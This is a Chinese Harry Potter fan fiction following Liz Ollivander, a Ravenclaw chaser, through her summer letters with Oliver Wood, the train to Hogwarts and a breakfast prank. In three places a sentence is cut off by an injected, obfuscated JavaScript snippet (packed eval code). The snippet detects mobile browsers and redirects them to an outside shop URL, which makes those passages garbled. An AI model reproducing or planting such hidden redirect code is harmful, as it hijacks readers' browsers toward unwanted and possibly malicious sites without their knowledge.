《[HP]致莉兹奥利凡德(伍德bg)》 1. 魔杖的故事 今年秋天就要升入三年级的莉兹·奥利凡德并没有觉得这个暑假跟平时有什么不同,为了躲避妈妈安排的怎么想都是过量的魁地奇练习,她总是一早就跟着爷爷一起来店里,如果老奥利凡德忙着制作新一批的魔杖的话,她有时甚至干脆在店面上头堆着材料的小阁楼里住下,闻着各种木香入睡的感觉,她自小就很喜欢。 好在今年普德米尔联队在91/92赛季初期的成绩实在有些糟糕,莉兹的妈妈五年前拿下选手生涯第三次赛季MVP后就从普德米尔退役了,当时还引起了不小的轰动,现在她是队里的顾问,这段时间基本上白天要一直待在俱乐部,而晚上又会很晚才回来,自然不会有任何空闲去监督还未成年的女儿的训练。 只有在想起上个学年斯莱特林拿下学院杯和魁地奇决赛冠军后,他们的队长马库斯·弗林特对着其他三个学院的人的那副嘴脸,莉兹才会萌生起要不今年稍微加把劲儿的想法,毕竟按照积分排下来,假如万圣节前那场球赛查理·韦斯莱没有宛如神迹一般地在开场四十五分钟的时候就抓到了金色飞贼给格兰芬多添了一笔胜利,拉文克劳是绝不会在总分上输给斯莱特林的。要知道那场比赛上她可连着破了三次奥利弗·伍德的球门,这个身材高大的格兰芬多守门员是出了名从不丢球的,而且他今年还被选上校队队长了。 真是神奇,格兰芬多的队长竟然是块木头。 不过她对学院杯倒是没什么追求,真要问到在意的理由是什么,就是,她不太喜欢绿色。 前两天收到了霍格沃茨寄来的本学年必需品清单和课表,打开信封里面掉出另一张不太起眼的小卡,这是从第二学年起只有拉文克劳的学生才会有的书单,上头列的都是一些麻瓜们的书籍,有的确实读起来很有趣,不过大多都没什么意思,毕竟麻瓜研究天体物理学又不是为了占卜未来,真要学这么复杂的运算,莉兹宁肯三年级开始多修一门算术占卜。 咚咚咚—— 前一晚睡得不安稳,房梁上不知道是不是一直有老鼠搬家,成夜的不太平,送报纸的猫头鹰敲了几下房间的窗户,莉兹本想不去理它,拉上被子盖过脸,翻身继续睡,奈何那动物仍然锲而不舍敲着窗玻璃,大概下一秒就能把角落的一块敲碎了,实际上那上面已经有好几条裂痕,昨天莉兹的爸爸上班前还来修过一次。 挣扎着睁开眼坐起身,从床头摸了五个纳特走到窗台边,拿过报纸她打着呵欠揉了揉眼睛拆开,头版是魔法部关于某问题的什么回应,照片上魔法部部长福吉一副皮笑肉不笑的样子,那比密密麻麻写着的新闻内容看着有意思多了。 翻到第二页,“塔特希尔龙卷风队找球手莱莉·塔克于上场比赛后失踪,昨夜在萨里郡被发现时身中混淆咒,现已送进圣芒戈魔法伤病医院魔咒伤害科......” 难怪凌晨的时候爸爸急急忙忙就出门了,莉兹低声念叨了两句。她的父亲,也就是小奥利凡德先生,并没有继承奥利凡德家世世代代的魔杖制作的手艺,从霍格沃茨毕业后就进圣芒戈当治疗师,真要算起来,这家里对魔杖感兴趣的,除了爷爷只有她一个。 将报纸在腿上摊开,直接去看预言家日报最后一页的填字游戏,正当她卡在竖行的第八条题目的时候,客厅的挂钟突然响起来。糟糕,都这个点了,莉兹低头踩上一只鞋,单脚跳到衣柜旁,扶着把手弯腰去看另一只鞋是不是被踢床下去了。好不容易让两只鞋团聚,她打开衣柜胡乱拿了件衣服穿上,来不及梳理的发尾一如既往地翘着。 先前约好要在今天早上九点去拿修好的扫帚,毕竟再迟一会儿就要不得不体会一次霍格沃茨开学季的对角巷了,人多不要紧,人特别多就很要紧了。 火弩箭精品店里里外外挤满了人,橱窗里展示着夏季刚出的光轮系列2000的1:1模型,莉兹急着推开店门,差点和橱窗前站着的身材瘦小的男孩撞上,男孩鼻梁上的眼镜架用胶带勉强裹着,回头说了对不起,她就直奔向自己的扫帚了,老板正在用湿抹布很是认真地擦着那上面刻着的普德米尔联队队徽。 莉兹还在有点犹豫要不要打破老板这个沉迷的状态。 放下扫帚,老板抬起头:“光轮系列1700的型号出了名的耐用,看来上学期的比赛挺棘手啊。” “不,其实是搬行李的时候......”莉兹本想着解释两句,后来想想好像也没什么必要多说,不然又要跟以前一样被拖住聊关于妈妈的事情,她第一次拿到妈妈的光轮1700的时候还以为用了这么多年的扫帚一定很快就会报废了,结果竟然越用越顺手,只是别人总是注意到那上面的队徽。 梅林也不知道为什么普德米尔联队竟然会有这么多球迷,明明最近两年亏损得这么厉害。 从包里把准备好的修理费拿出来,转过身时听到柜台另一头的人正非常激动地和旁边的朋友说着前一日刚结束的一场比赛,莉兹也略有耳闻,听说那个来自爱尔兰的守门员的表现相当精彩,大概是视线停留的时间稍微长了点,她没能在男生开口叫她的名字之前走出店门,不过就算她没看他,从这里到大门的路就一条,男孩必然是要注意到她的。 不出所料,奥利弗·伍德先是看了一眼莉兹手里的扫帚,然后才看向了她的脸,最后停在她的眼睛上,她跟她的爷爷一样,瞳色是很不常见的银白色,以至于伍德看着她的时候总是不知道她到底在看哪里,连在场上比赛时都无法根据她的目光来判断进球的角度,这一度成了伍德守门的小小障碍。 这可不是什么一个多月没见同学之间寒暄的好场合,拿着个扫帚在人堆里挤了半天才走了几步,何况莉兹自认为跟伍德也没熟到这个地步,至少没熟到能在霍格沃茨,不对,或者说是魁地奇球场以外的地方还有话可说。话虽如此,她还是在经过伍德身边时愣了愣,这人是不是又长高了一英寸,之前自己需要这么抬头看他吗。 “实际上,”莉兹接着刚刚伍德在说的关于魁地奇的讨论,“这场守门员之所以能表现得这么好,是因为普德米尔的两个击球手跟他三个人一起打了配合,很显然,这次的新队形起了效果。” “我就知道普德米尔一定会调整队形,不然这赛季打得可太糟糕了。”伍德旁边的人先开了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487789|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “是啊,再不赢的话就连最后一个赞助都要跑光了,”莉兹摇了摇头,拍了一下伍德的肩膀,“那木头先生,我们就学校见。”[1] “学校见。”伍德闻到了莉兹身上那抹若有似无的木料香气,这就跟她的眼睛一样特别。 “那是谁?”刚刚还很自然地回了话的人在看着莉兹出门以后问伍德。 “莉兹,莉兹·奥利凡德,”伍德呆愣愣地念着她的名字,“拉文克劳的追球手。” “那不就是去年让你丢了三个球的女孩吗?”一听朋友说了这个,伍德就像是听见了什么丢人的事情一样,立刻伸手勒着朋友的脖子让他别提了,让奥利弗·伍德承认守门失误,这是绝对不可能发生的事情。 “与其说这个,不如想想查理毕业了以后这学期格兰芬多缺的找球手怎么办吧!” 不愧是伍德,转移话题的能力都宛如木头。 穿过熙熙攘攘的人群,莉兹一边推开奥利凡德的店门一边喊着爷爷,老奥利凡德站在一个可移动的梯子上正在整理堆放魔杖纸盒的架子,她低头看着地上是一片狼藉,角落里的花瓶又碎了一次,左边一排抽屉都打开了,长椅上几乎堆满了被使用过的魔杖。 莉兹把扫帚找地方放好,弯下腰将一根不小心从长椅上滑下来的魔杖捡起来,认真打量了一下,槭木的,七英寸长,杖芯是凤凰羽毛,能让爷爷拿出这根的客人可不常见啊,她抬头说道:“爷爷,很久没见过这么挑剔的客人了啊。” “啊,是的,是的,”老奥利凡德那双像是白色月亮一样的眼睛里正闪着光,似乎心情很是激动的样子,“这么奇妙的事情的,真的太罕见了,我记得我卖出去的每一根魔杖,每一根我都记得……” “嗯?”莉兹站起身翻开账单上的记录,“冬青木,十一英寸,凤凰尾羽……这有什么特别的吗?” “哦,莉兹,同一只凤凰的两根尾羽,一共就做了这两根魔杖,五十三年前我卖出过一根,今天我卖出了另一根,你说,这是不是奇妙的事情。”老人慢慢从梯子上走下来,“注定的,一切都像是注定的。” 每一根卖出的魔杖都有故事,莉兹总是从爷爷那里听到无数的不知道是不是真正发生过的故事,五十三年前那个皮肤苍白而瘦弱的小男孩走进店里接过那根魔杖的事情,莉兹听了很多次,老奥利凡德经历过十几年前的黑暗时代,而莉兹只是在书里读过,她知道那或许是很恐怖的一个人,也知道那或许是很残酷的一场战争,可也只是知道而已。就好像,尽管传说中的哈利·波特刚刚从她家的店里买走了人生第一根魔杖,她也只觉得那不过是个人名而已。 帮着爷爷收拾完店铺,又来了两个客人,其中一个应该也是来买第一根魔杖的新生,女孩的父母看着都像是麻瓜,她的头发蓬在头上,兔牙很是显眼,莉兹给她量尺寸的时候她看着还有点紧张。 今天是七月的最后一天,距离莉兹成为霍格沃茨三年级的学生还有整整一个月。 注: 1.伍德用英文写是Wood,莉兹常喜欢调侃他是木头先生。 2. 木头先生来信 比起总是跟房间窗玻璃过不去的送报猫头鹰,伍德家的猫头鹰显得稍微聪明一点,它至少知道从厨房给猫头鹰常开的那扇窗户飞进来,将信件扔在餐桌上,接着停在窗台边等着莉兹给它喂东西吃。 其实去年的夏天,莉兹第一次收到伍德的来信时,她还不知道猫头鹰的这个反应是在等投喂。当然了,莉兹更搞不明白的是这个在学校里好像也没跟自己说过几次话的格兰芬多守门员,怎么突然给她写了信。结果将一封写着给莉兹·奥利凡德实则却全在夸赞她那个曾经是魁地奇职业选手的妈妈的信读完以后,她明白了,这不过就是封粉丝来信而已。 “下次请记得直接写米歇尔·奥利凡德收,谢谢合作。” 写完简单的回信,莉兹尝试了至少三十种让猫头鹰听话叼信封的方法都失败了,焦头烂额的时候才看到信纸最后补上的一句 ——回信前记得给它喂点吃的。 摇了摇头,她又在自己的回信上添道:“重要的事情记得放在开头说,木头先生。” 后来他们的通信虽然没有频繁得像是关系不错的朋友一般,大多都是一些特定俱乐部的比赛结束以后的第二天一早,莉兹会收到伍德的来信,而下午之前她便会写一封信回过去,信里通常是对赛情的分析,一般情况下都和伍德的看法不太一样,除了事实意味上的真的看法不同,莉兹回信有一个最大的动力,那就是,她就是下意识想跟他过不去,所以信件内容总是针锋相对。 总而言之,伍德和莉兹之间一直是关于彼此的生活只字不提,谈论的只有魁地奇。 她真搞不明白是不是因为伍德身边并没有能聊得来的魁地奇球迷,他才会把她当成是某个固定交谈相同爱好的同好,怎么想都说不过去吧,他可比她高了两个年纪呢,而且那家伙明明还在信里提到他跟塞德里克约着一起玩迷你魁地奇了。 哦,塞德里克·迪戈里,赫奇帕奇校队现役找球手,长着一张迷人的脸蛋,还有一头深色的浓密卷发,赛场上就算没抓到金色飞贼也能保持适当散发魅力的微笑表情,连在斯内普的魔药课上,他都能破天荒拿下一次O,这世界上大概没有什么是迪戈里先生做不到的。 假期里莉兹最后一次收到伍德的信是在开学前两天,那位完全不会转弯的人这次大概连什么是套话都不知道,先前两次的信里好歹都还会谈谈普德米尔的赛季表现,用来掩饰他对查理毕业之后格兰芬多校队没有了找球手的担忧。 往泡好的红茶杯里加了两块糖,莉兹一手拿着信纸,一手拿着杯子喝茶,伍德说的事情她也不是不知道,现在四个学院的队伍只有拉文克劳和格兰芬多没有正式的找球手,赫奇帕奇有迪戈里,而斯莱特林从不缺阴招,她才不在意。 但是队员的事情还轮不到她操心,三年级的学生是当不了校队队长的,她本来也不喜欢在比赛之前提出想法,除非在某些时刻他们的队长确实仿佛大脑被巨怪同化过一样说些不知所云的战术,否则她都觉得不开口才是比较省事的。可是伍德不一样,他恨不得无时无刻都想抓着人探讨训练与战术安排,莉兹现在回想起来,可能就是那么几个她终于想起来替队长说话的时刻让伍德注意到了吧。 不过虽说找球手实在算不上各个校队的秘密,但莉兹还是决定在回信里先给伍德卖个关子说他们目前也无任何替补。 拉文克劳在六月上一个找球手毕业后确实没有急着找接替的,不是因为没有人选,而是因为已经有了人选,只是暂时年龄不够还不能参加校队选拔而已。新生不能参加选拔赛基本上是这么多年大家不成文的共识,主要是因为霍格沃茨对新生使用扫帚有规定,所有新生不得在没有监督的情况下单独飞行,这点对于训练可能会造成麻烦,所以后来大家就默认了选拔从二年级开始了。[1] 而事实上,拉文克劳的找球手替补就是莉兹同寝室的秋·张,一个飞行技术跟她的样貌一样灵巧出色的二年级女孩,那头柔顺的黑色长发时常让用尽一切办法都不能把翘起的头发压平的莉兹感叹,为什么只有自己每次从扫帚上面下来时需要面对比原先更凌乱的自然卷刘海和发尾。 折好信纸准备塞进信封里,莉兹像是想起了什么似的又拿出来,用羽毛笔沾了墨水很用力地把最后一句话划掉,一团黑墨滴上去什么字母都看不见了,盯着那团黑色,她终于是满意地点了点头,给猫头鹰喂了厨房柜子里最后一块饲料后让它带着信飞走了。 “别担心了,一切总会好的。” 毕竟被划掉的这句话,从任何角度来看,都不太像是莉兹·奥利凡德会说给奥利弗·伍德听的话。 八月最后一天,米歇尔特地将俱乐部的训练停了半日,准备送完莉兹去国王十字车站再回球场。距离车站不远处有间不大的小酒馆,它的后门就连着飞路网,选择通过这里到达车站的巫师家庭还是不少的。[2] 吃完了一块松饼,莉兹舔了舔嘴角的蜜糖还没准备站起来,就听见了妈妈在催促的声音。 “快点,今天这条线路一定很拥挤,不知道这次要等多久呢,我都给飞路网管理局寄了好几次信了,国王十字车站附近不能只有这么一个出口,每到开学和放假的时候比晚高峰时的汉格巷还堵……”米歇尔用尖头的皮鞋踢了踢桌脚,“哦,傻姑娘,你还要吃几块松饼才行,满脸都是糖浆,快拿着扫帚和魔杖,车票别忘了,我们真的应该出发了。” “知道了,妈妈。”皱着眉头拿餐巾胡乱抹了抹嘴角,莉兹踮脚将墙上挂着的光轮1700拿下来,确认了一遍自己的魔杖和车票都在口袋里,接着在米歇尔说完酒馆名字以后也跟着一起抓了一把飞路粉。 穿过小巷拐出来就是车站大门了,莉兹左手抓着扫帚,右手提着一个行李箱,小跑着跟在口中不停催促着快点的米歇尔身后,身高将近五英尺十英寸的她走在人群里总是显眼,而且每一步都仿佛迫切地要用自己的锥子一样的鞋跟踩碎每块地砖似的,算了算时间,离火车出发还有二十分钟呢,莉兹完全不明白自己的妈妈为什么永远都可以处在这种“时间不够用”的紧迫感之中。 “到学校之后写封信,训练开始以后记得把训练计划也给妈妈寄过来,每天早上的训练不要偷懒,还有……”从火车头往着后面走,米歇尔叮嘱的话就没断过一句。 敷衍地点着头,这些话昨天晚上莉兹就听她说了十几遍了。 “还有,万圣节之后赛季开始我跟俱乐部的负责人也会去看比赛的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487790|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这可是第一次听啊,莉兹立马在原地站定抬头看向米歇尔,银白色的眼睛里闪过一瞬间的吃惊,接着又眨了两下以恢复平静。 “走啊,停下来做什么,”米歇尔拉过她的手,“布斯巴顿之后的比赛我们也会去,俱乐部缺新人。” “难道已经连转会费都给不起了吗?”莉兹嘟囔着。 “你说什么?”差不多到了可以上车的列车门前了,米歇尔回过头来。 “没有,没说什么,”莉兹慌忙摇了摇头收回手,“那我上去了,妈妈路上小心。” 看着妈妈又迈着和刚刚一样的急匆匆的步伐逐渐消失在人群里,莉兹可算是松了一口气,经过上一节列车门的时候秋还跟自己打了个招呼,可惜腾不出空回应,一会儿上车还得绕到她们车厢去。把扫帚夹在胳膊下面,莉兹咬着牙用力把行李箱往火车上提。 “需要搭把手吗?” 瞥到了说话人黄条纹的领带,赫奇帕奇一向不缺这样热心的小伙子,又昂着头朝他看过去,难怪呢,这可是完美先生迪戈里。 “那真是太感谢了。”莉兹将松开左手拿过扫帚,塞德里克便接过了她另只手提着的行李箱。 “梅林的胡子,这真够沉的,你到底装了什么东西在里头?”塞德里克顺便还伸手拉了她一把。 “都是知识的重量,迪戈里先生。”莉兹站稳了回答道,“好了,谢谢你,我现在可以自己拿着了。” “送你到车厢吧,箱子这么沉。”塞德里克摆了摆手。 就算是完美先生,无事献殷勤也绝对是值得怀疑的,不过莉兹注意到他跟秋·张对视了以后两个人脸颊都攀上的奇妙的红色,又从窗边坐着的玛丽埃塔·艾克莫那个心领神会的眼神里明白了确有其事,所以哪有什么无事献殷勤,都是蓄谋已久的做善事,莉兹觉得她需要对赫奇帕奇学院的学生淳朴的本质提出一点点小小质疑了。 玛丽埃塔和秋一样是二年级的学生,也和莉兹同寝室,她妈妈就在飞路网管理局工作,大约每个月都会收到米歇尔·奥利凡德投诉各处飞路网拥挤的信件,听到玛丽埃塔提到这件事的时候,莉兹总是止不住地尴尬。而说起寝室的事情,由于分院进拉文克劳的学生一年比一年少,莉兹入学时分寝室还落单了,结果她就过了一年的独居生活,直到下一年有新生来才有了这两位室友。 把行李安顿好,扫帚倚在一旁,秋和塞德里克也结束了以眼神交流爱意的环节,女生们果然又聚在一起聊那些老生常谈的玩意儿了。 “我们听说了,奥利弗·伍德整个夏天都一直跟你通信呢?”玛丽埃塔挑了挑眉,高高束起的马尾辫晃了晃。 “真好啊。”秋·张那漂亮的深褐色瞳孔里立马浮现出了一种夹杂着羡慕的欣喜,仿佛听了什么极其浪漫的故事一样。 莉兹干巴巴笑了两声,正准备打破面前两位女孩的美好想象的时候,玛丽埃塔的笑容变得愈发灿烂且还透着一丝诡异,顺着她的目光,莉兹转过身看见了刚准备抬手敲车厢门的人。 这个人不是别人,就是她们半分钟前对话里的主角,奥利弗·伍德。 注: 1.私设二年级学生参加选拔 2.私设通行方式 3. 天选之子 在莉兹打开车厢门到走出去的几秒钟内,她飞快地在脑海中思考了一下,伍德确实没什么必要的事情需要来找自己,至少在之前的信里没有提到,所以她略疑惑地抬起头看向面前这个表情隐约有点不自然的男孩,要知道吞吞吐吐可不是奥利弗·伍德的作风。于是,莉兹在他说话之前特地清了清嗓子,示意她在等着他开口。 “我也没想到会变成这样,”伍德从巫师袍口袋里拿出一根裂开得几乎可以看到杖芯的魔杖,“已经试了几次修复咒,但是你看到了,实在是没什么效果。” “怎么的,你难道是拿行李箱去砸你的魔杖了吗?”莉兹笑了一声,伸手接过来,然后一言不发地迎着窗外的阳光打量了这根魔杖好一会儿。 当然了,虽然魁地奇正式比赛的时候禁止携带魔杖,但是平时训练过程中为了保证安全,大家还是会习惯带着魔杖飞上天。奥利凡德制作的魔杖自然没有那么容易折断或损坏,但也架不住有些意外的时刻出现一些不可逆的小问题。起初莉兹只是在和格兰芬多一起训练的时候顺手帮忙修好了安吉丽娜的魔杖,谁想到后来这件事被乔治·韦斯莱和弗雷德·韦斯莱这对从来不嫌事多的双胞胎惹祸精传得神乎其神,仿佛她就是老奥利凡德的接班人了一般。 这不,谁的魔杖出了点问题都要来问问她,连伍德都不例外。 “十又三分之二英寸,鹅耳枥木,龙心弦[1],”莉兹看了他一眼,“四年前我帮爷爷从柜子最上层拿下来的时候可没想过它会遇上这么不小心的主人,如果我是你,是绝对不会把它塞在裤子口袋里的。” 为了图方便习惯性这么放魔杖的人太多了,莉兹假期里帮着看铺就常见到就有客人因此来修魔杖,一般都是裂开一点儿,就像伍德这根,也有特别严重直接断开几乎要老奥利凡德用同样的木材重新做一根的地步。 毕竟是求人办事,哪怕莉兹说话的语气总是像跟他过不去,伍德还是决定看着窗外以此逃开她那双银白色眼睛的注视。有时候他真不知道是不是拉文克劳的学生都有那种“我懂得就是比你们多”的优越感,因为无论跟莉兹谈到任何话题她最后都可以做到将结论引导向一个一般人完全不能理解的角度与内容,而伍德即便不是弗林特那样肌肉长进脑子里的家伙,却还是需要对她说的每句话在进行脑内重播以方便理解。 “所以,”伍德犹豫了一下,“它还有的救吗?”开学第一天就弄坏了魔杖真不是什么好兆头,何况他还在操心找球手的事情。 “这个嘛……”莉兹一手拿着他的魔杖,一手拿着自己的,轻声地念着咒语,“恢复如初。” 裂开的裂缝里闪着白色的光,莉兹一共施了三遍咒,最后在尾端还能看到一点修复的痕迹,就像是木料被拼接上去的,毕竟鹅耳枥木跟她的那根黑胡桃木的一样都是不易弯曲的材质,这会儿就算是让老奥利凡德出马也做不到让魔杖恢复原样。 “谢谢你。”伍德接回来反手又准备塞在裤子口袋的时候,瞥了一眼微微皱眉的莉兹的表情,立马乖乖地停下了动作。 同一时间列车过了最后一个隧道,这会儿刚好驶出伦敦,窗外秋季的田野风光不错,卷发的售货员推着餐车在过道里一个包厢一个包厢地敲着门,正好经过莉兹的身后,她伸手拿过最边上一包南瓜馅饼和一袋太妃糖,笑了笑晃着手里的东西,用脚移开门,并对伍德说:“那么多谢款待了,木头先生。” 来不及跟她多说一句话包厢门便关上了,伍德费劲地从上衣口袋里掏出几个纳特给了售货员,走之前回头看了一眼莉兹,她已经拆开包装袋把南瓜馅饼整个儿塞进嘴里,腮帮子圆鼓鼓的,很像是他同寝室的同学养的那只豚鼠,嚼东西的样子更像了。 而本来就对聊那些男孩女孩的话题十分不感兴趣的莉兹,一不想讲述自己是怎么和格兰芬多高年级的学生保持通信的故事,二不愿意听玛丽埃塔表达她对同队的追球手罗杰·戴维斯的爱慕之意,她先是用南瓜馅饼堵住了自己的嘴,接着又试图低头用看书的方式躲避没什么意义的聊天,但发现自己根本就是一个字都看不进去,书上的每个字母都和玛丽埃塔说出的每个单词在打架,好在伍德并不像塞德里克或者戴维斯那样受女孩们欢迎,虽说免了她讲故事的麻烦事,可莉兹还是被迫听了一路“戴维斯剪短了头发真是太好看了”这样在她听来有些匪夷所思的夸赞的话。 列车里响起还有五分钟就到霍格沃茨的提醒时,玛丽埃塔总算是安静了下来,她开始对着窗户玻璃整理头发,虽然她一个小时前换长袍的时候已经梳过一遍了,但似乎还是觉得不够整齐漂亮。莉兹则是随便抓了抓发尾乱飞的短发,打了个呵欠闭上眼睛两手向上伸懒腰,心里想着不知道今年又会有多少新生被题目困在休息室门前啊。 和往年没什么不同,学校仍是安排一年级先下火车,因为他们要坐小木船划过城堡前的湖,再由麦格教授领着进礼堂。莉兹踮脚远望着湖上点点火光,想起自己入学第一天和韦斯莱双胞胎坐一条船,不安分的两个人差点让全船人一起落水,都还没回忆到清晰的画面和对话,这两个人便一左一右出现在她的身后,弗雷德拍了一下她的左肩站在了右边,乔治则拍了一下她的右肩站在了左边。 “听说了吗,哈利·波特……”弗雷德脖子里的领带绕了两圈,衬衫纽扣也少扣了两个,长袍的袖子已经短了一英寸却没换新的。 “……额头上有闪电的那位波特。”乔治用手指了指自己的额头,脖子里干脆没打领带,长袍的领口有一块褪色的痕迹。 “你赌他会进哪个院?”弗雷德在面无表情的莉兹眼前打了个响指。 “我和弗雷德都赌反正不是拉文克劳。”乔治摇头说。 “可不能让天选之子去回答门环提出的蛇为什么要咬自己的尾巴这种愚蠢的问题吧。”弗雷德说着用手比了一个蛇头。 拉文克劳几乎是四个学院里学生最少的了,高年级学生毕业了,新生还一年比一年少,分院帽曾经还犹豫着要不要把莉兹分进斯莱特林,大约是觉得她看起来像个对知识没什么热忱的孩子吧。懒得理睬双子一唱一和对其他学院的调侃,若是让一个拉文克劳学生去分析另外三个学院不值得去的理由,那可要备足羊皮纸,因而莉兹只是草草回了一句:“其他的我不知道,我只知道你们的弟弟百分百是格兰芬多的,是吧,韦斯莱们?” 和格兰芬多的桌子隔了一个走道,跟伍德之间隔了大概三个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487791|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的距离,莉兹坐下就看到了他脸上糟糕的表情,糟糕程度差不多可以跟吃到内脏味的比比多味豆相比了,不过自己球队的队长脸上也是同款表情,同时还是级长的他按规矩得坐在长桌最前面迎接新生,看样子也不必回头看赫奇帕奇的队长了,因为莉兹已经注意到一脸得意的斯莱特林队长马库斯,大摇大摆走进了礼堂。 很显然在来霍格沃茨的路上,他们例行的队长会议这次也没有得到什么令人满意的结果,魁地奇球场的训练分配时间一定还是斯莱特林主导。假如其他三个学院的院长都能像斯内普这么护犊子一般的偏心,哪里还用在抢球场的事情上费心思。 最前面麦格教授开始报名字,截止目前为止已经有三个赫奇帕奇,两个格兰芬多和一个斯莱特林了,拉文克劳还是零,莉兹看了看周围人期待的神色,她合理猜测大家都在等“天选之子”的分院结果。然而对此没兴趣的她便盯着手里一会儿要交给级长的选课课表发着呆,顺便在心里默念真希望现在的长桌不是空的,她太想念晚餐的布丁了。 “你不会又多选了一节算数占卜吧。”对面坐着的戴维斯伸长脖子看过来,偏偏就要打破莉兹的冥想空间。 “反正都是二选一,我为什么还要去上特里劳妮教授的课,”莉兹将课表卷起来收进长袍袖子里,“我可不如戴维斯你,就差能通灵了吧,记得通灵跟门环商量商量,让它出点儿你能答出来的题。” “你这个人真的是……”戴维斯果然立刻就被她三两句话给噎住了,他撇过头去,在心里愤懑地抱怨着聪明人真讨厌啊。 “谢谢夸奖。”莉兹露出很是得体又略带一丝虚伪的微笑,她断言最迟明天,戴维斯一定又要因为答题太慢而被挡在休息室门外了。 名字又报了一轮,拉文克劳终于有两个新来的一年级了,她一边鼓着掌说欢迎,一边用力眨了两下眼睛让自己别那么快就被分院仪式整得犯困,仿佛看穿了大家心思的麦格教授此时刚刚好念出“哈利·波特”,所有人屏气凝神,好像都在期待他会来到自己的学院。 对于莉兹而言,“天选之子”来不来这里无所谓,她只是饿了就想吃东西。 在基本上是全部的格兰芬多都欢呼着迎接哈利的时候,伍德抬头看向了应该也在发呆的莉兹,而在邓布利多校长一声令下桌子上出现了满满的大餐的时候,伍德比任何人都更加迅速地捕捉到了莉兹对食物的那种渴/望,而这种渴/望甚至与她在球场上进攻时的眼神一模一样。 捕捉眼神实在没什么意义,可还是成了守门员奥利弗·伍德的乐趣。 注: [1]鹅耳枥木魔杖选择那些拥有天赋,并且对事物有着着单一而纯粹热情。鹅耳枥木魔杖会比其他魔杖更快地适应它们主人的魔法风格,而且它们个性化的速度极快,快到其他人想要用它们来施出最简单的魔法都非常困难。鹅耳枥木魔杖也同样吸收了主人的荣誉法典。不管是什么,不管是好是坏,只要这个魔法并不符合其主人的原则,鹅耳枥木魔杖就会拒绝执行。这是一种极其有原则和自我意识的魔杖。 (以上来自pottermore) 我个人私设,感觉这种材质很适合伍德这样性格的人。 4. 小古板的恶作剧 还有什么会比新学期的早上第一节课就是魔药课更令人沮丧的呢,莉兹·奥利凡德有点心不在焉地掰开面前的司康饼,抹着果酱的时候开始回忆昨天晚上睡觉前刚刚预习的三年级课本第三者三章的内容,除了斯莱特林的学生都明白最喜欢冷不丁提问的斯内普教授若是听了什么不合心意的回答,大概率是会给学院扣分的。莉兹毕竟没有韦斯莱双子那般的强大心脏和厚脸皮,她并不想成为新学期第一个给拉文克劳扣分的勇士。 “真是有够不走运的。”被一场突如其来的大雨硬是打断了晨练的伍德抱怨着走进礼堂,他从莉兹身后经过,顺便坐在了她正后方的位置。 比起他这略有些恼怒以至于很失望的反应,格兰芬多球队里的其他人倒是觉得被雨水解救了,因为分配给他们单独球场使用时间实在太少了,为了让大家尽快在十一月赛季到来之前进入状态,伍德竟然想出了早起晨训的安排,作息还算规律的安吉丽娜还能勉强在清晨保持清醒,可是夜猫子韦斯莱兄弟平日里跟皮皮鬼到处恶作剧都能到半夜,晨训无异于是在一场对人性的折磨。 正与魔药课本上各种复杂的药材搏斗着的莉兹皱着眉头扔下果酱刀,回过头瞪了身后的人一眼,她是真的不愿意在心情烦躁的时候还要听伍德谈论为什么苏格兰高地的秋天总是这样阴晴不定的无营养话题。 迟钝的五年级格兰芬多男生似乎对这点多余的愤怒并不在意,等伍德后知后觉转身时,莉兹已经三两下解决了盘子里的司康饼抱着厚厚的课本准备要走出礼堂了。 “啊,奥利弗,我可听说了,格兰芬多还没招到新的找球手呢?”弗林特一下撞开刚站起来的莉兹,身量上一点不占优势的她又跌坐回长凳上,而这位粗鲁的斯莱特林恶霸根本没有将注意力放在她这里,只是大声地嘲讽着才拿起一块羊角面包的伍德。 长吁一口气,一个假期过去倒是没看出他有没有好好锻炼,不过这身横肉看起来显然吃得很不错就是了。莉兹正愁一早的心里头的闷气无处发泄,低头随手从课本上撕了一角,写上“猪仔肚饿请投喂”,趁着不注意一挥魔杖把纸条黏在弗林特后背上,顺便还给他的长袍帽子里赠送了一块戴维斯盘子里的蜜糖松饼。 一旁看到了莉兹的小动作的乔治拉了拉身旁的弗雷德的袖子,他先是对着莉兹眨了一下左眼,然后便指了指弗林特的后背跟自己的兄弟说起了悄悄话。 看来恶作剧的下一步有人接手了,莉兹放心地离开了礼堂,并表示她其实一点不关心弗林特对伍德如何恶言相向,她只是觉得天气不好心情不快而已。而她这么一个始终对恶作剧毫无兴趣的小古板,这评价出自韦斯莱双子,原话是“奥利凡德小姐年纪轻轻怎么就成了不解风情的小古板”,没想到她最后还是选择了用最无聊的手段去对付更无聊的人。 